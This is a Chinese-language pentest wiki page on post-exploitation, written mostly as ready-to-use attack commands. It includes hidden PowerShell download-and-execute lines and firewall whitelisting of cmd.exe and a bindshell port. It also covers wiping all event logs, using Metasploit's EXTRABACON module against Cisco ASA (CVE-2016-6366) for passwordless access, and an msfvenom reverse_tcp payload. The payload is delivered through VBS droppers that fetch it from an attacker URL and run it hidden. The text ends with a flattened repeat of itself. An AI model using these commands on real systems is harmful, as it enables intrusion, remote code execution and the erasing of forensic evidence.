Pentest Wiki Part4 后渗透(一)
字数 1945 2025-08-29 08:32:00

后渗透测试技术详解

0x01 后渗透测试概述

后渗透是渗透测试的关键组成部分,是将自己与普通黑客区分开来的关键阶段。在后渗透阶段,您需要:

  • 针对特定系统进行深入分析
  • 识别关键基础设施
  • 定位企业最重视的信息或数据
  • 展示对业务有最大影响的攻击路径

后渗透需要您:

  1. 了解各系统功能及不同用户角色
  2. 思考如何利用已获取的权限造成最大影响(如财务系统、知识产权等)
  3. 像恶意攻击者一样思考:具有创造性、快速适应、依靠智慧而非自动化工具

0x02 远程管理技术

Windows远程管理命令

命令 描述
NET USE \\ip\ipc$ password /user:username 建立IPC连接
NET USE z: \\ip\share$ password /user:username 映射远程共享为本地驱动器
systeminfo /S ComputerName /U username /P password 查看远程系统信息
tasklist /S SERVER /U DOMAIN\username /P password 查看远程进程列表
taskkill /S SERVER /U DOMAIN\username /P password 终止远程进程
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))" 远程执行代码
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')" 远程下载文件
bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file 使用BITS服务下载文件
PsExec.exe \\192.168.206.145 -accepteula -u username -p password cmd.exe /c ver 远程执行命令并返回结果

代理设置

set http_proxy=http://your_proxy:your_port
set http_proxy=http://username:password@your_proxy:your_port
set https_proxy=https://your_proxy:your_port
set https_proxy=https://username:password@your_proxy:your_port

端口转发

NETSH INTERFACE portproxy add v4tov4 listenport=LPORT connectaddress=RHOST connectport=RPORT [listenaddress=LHOST protocol=tcp]

0x03 白名单绕过技术

防火墙白名单操作

命令 描述
NETSH FIREWALL show all 显示允许的程序配置
NETSH FIREWALL add allowedprogram C:\Windows\system32\cmd.exe cmd enable 添加程序到白名单
NETSH FIREWALL delete allowedprogram cmd 从白名单删除程序
NETSH FIREWALL add portopening tcp 4444 bindshell enable all 添加端口到白名单

0x04 服务与计划任务

服务创建

sc create servicename type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename

计划任务

net use \\IP\ipc$ password /user:username
at \\ComputerName time "command"
net time [/domain]

0x05 日志清理

del %WINDIR%\*.log /a /s /q /f
wevtutil el  # 列出日志文件
for /f %a in ('wevtutil el') do @wevtutil cl "%a"  # 清除所有日志
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security

0x06 Cisco ASA设备渗透

CVE-2016-6366漏洞利用

漏洞描述

  • 影响所有版本的SNMP(v1, v2c, v3)
  • 缓冲区溢出漏洞
  • 需要知道SNMP字符串
  • 仅影响以路由和透明防火墙模式配置的系统

利用步骤

  1. 使用SNMP登录模块验证凭据:

    use auxiliary/scanner/snmp/snmp_login
    set PASSWORD public
    set RHOSTS 192.168.206.114
    run
    
  2. 使用漏洞利用模块:

    use auxiliary/admin/cisco/cisco_asa_extrabacon
    set COMMUNITY public
    set MODE pass-disable
    set RHOST 192.168.206.114
    run
    
  3. 成功后通过telnet无密码登录:

    telnet 192.168.206.114
    

Cisco ASA基本操作

  1. 查看版本信息:

    show version
    
  2. 进入特权模式(通常密码为空):

    enable
    
  3. 配置接口IP:

    configure terminal
    interface GigabitEthernet 0/0
    ip address 192.168.206.114 255.255.255.0
    no shutdown
    exit
    
  4. 启用SNMP服务:

    snmp-server host inside 192.168.206.1 community 0 public
    
  5. 启用SSH服务:

    username admin password password
    aaa authentication ssh console LOCAL
    passwd password
    crypto key generate rsa modulus 1024
    ssh 192.168.206.1 255.255.255.0 inside
    ssh version 2
    
  6. 启用Telnet服务:

    aaa authentication telnet console LOCAL
    telnet 0.0.0.0 0.0.0.0 inside
    

0x07 Windows Active Directory渗透

在cmd shell中执行Metasploit payload

  1. 生成VBS格式的payload:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win
    
  2. 创建执行脚本msf.vbs:

    echo shellcode = WScript.Arguments.Item(0):strXML = "" & shellcode & "":Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject("Scripting.FileSystemObject"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir & "\" & fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir & "\test.exe":Dim adodbstream:Set adodbstream = CreateObject("ADODB.Stream"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject("Wscript.Shell"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs
    
  3. 执行payload:

    cscript.exe %TEMP%\msf.vbs <base64_encoded_payload>
    

绕过nc shell缓冲区限制

对于较大的payload,可以使用远程加载方式:

  1. 创建下载执行的vbs脚本:

    echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = "" & shellcode & "":Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject("Scripting.FileSystemObject"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir & "\" & fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir & "\test.exe":Dim adodbstream:Set adodbstream = CreateObject("ADODB.Stream"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject("Wscript.Shell"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs
    
  2. 从远程服务器加载执行:

    START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt
    

参考资源

  1. Cisco ASA SNMP漏洞公告
  2. Cisco ASA配置指南
  3. VBScript解码Base64
  4. 绕过应用白名单
  5. Metasploit框架
后渗透测试技术详解 0x01 后渗透测试概述 后渗透是渗透测试的关键组成部分,是将自己与普通黑客区分开来的关键阶段。在后渗透阶段,您需要: 针对特定系统进行深入分析 识别关键基础设施 定位企业最重视的信息或数据 展示对业务有最大影响的攻击路径 后渗透需要您: 了解各系统功能及不同用户角色 思考如何利用已获取的权限造成最大影响(如财务系统、知识产权等) 像恶意攻击者一样思考:具有创造性、快速适应、依靠智慧而非自动化工具 0x02 远程管理技术 Windows远程管理命令 | 命令 | 描述 | |------|------| | NET USE \\ip\ipc$ password /user:username | 建立IPC连接 | | NET USE z: \\ip\share$ password /user:username | 映射远程共享为本地驱动器 | | systeminfo /S ComputerName /U username /P password | 查看远程系统信息 | | tasklist /S SERVER /U DOMAIN\username /P password | 查看远程进程列表 | | taskkill /S SERVER /U DOMAIN\username /P password | 终止远程进程 | | powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))" | 远程执行代码 | | powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')" | 远程下载文件 | | bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file | 使用BITS服务下载文件 | | PsExec.exe \\192.168.206.145 -accepteula -u username -p password cmd.exe /c ver | 远程执行命令并返回结果 | 代理设置 端口转发 0x03 白名单绕过技术 防火墙白名单操作 | 命令 | 描述 | |------|------| | NETSH FIREWALL show all | 显示允许的程序配置 | | NETSH FIREWALL add allowedprogram C:\Windows\system32\cmd.exe cmd enable | 添加程序到白名单 | | NETSH FIREWALL delete allowedprogram cmd | 从白名单删除程序 | | NETSH FIREWALL add portopening tcp 4444 bindshell enable all | 添加端口到白名单 | 0x04 服务与计划任务 服务创建 计划任务 0x05 日志清理 0x06 Cisco ASA设备渗透 CVE-2016-6366漏洞利用 漏洞描述 : 影响所有版本的SNMP(v1, v2c, v3) 缓冲区溢出漏洞 需要知道SNMP字符串 仅影响以路由和透明防火墙模式配置的系统 利用步骤 : 使用SNMP登录模块验证凭据: 使用漏洞利用模块: 成功后通过telnet无密码登录: Cisco ASA基本操作 查看版本信息: 进入特权模式(通常密码为空): 配置接口IP: 启用SNMP服务: 启用SSH服务: 启用Telnet服务: 0x07 Windows Active Directory渗透 在cmd shell中执行Metasploit payload 生成VBS格式的payload: 创建执行脚本msf.vbs: 执行payload: 绕过nc shell缓冲区限制 对于较大的payload,可以使用远程加载方式: 创建下载执行的vbs脚本: 从远程服务器加载执行: 参考资源 Cisco ASA SNMP漏洞公告 Cisco ASA配置指南 VBScript解码Base64 绕过应用白名单 Metasploit框架